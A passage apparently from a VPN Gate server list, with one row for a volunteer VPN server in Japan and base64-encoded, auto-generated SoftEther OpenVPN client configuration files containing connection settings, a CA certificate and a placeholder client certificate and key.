Z0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn478887340,133.114.178.203,588571,19,712055256,Japan,JP,22,1000,577,138072162587,2weeks,eiya's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHVkcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMzMuMTE0LjE3OC4yMDMgMTE5NQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkN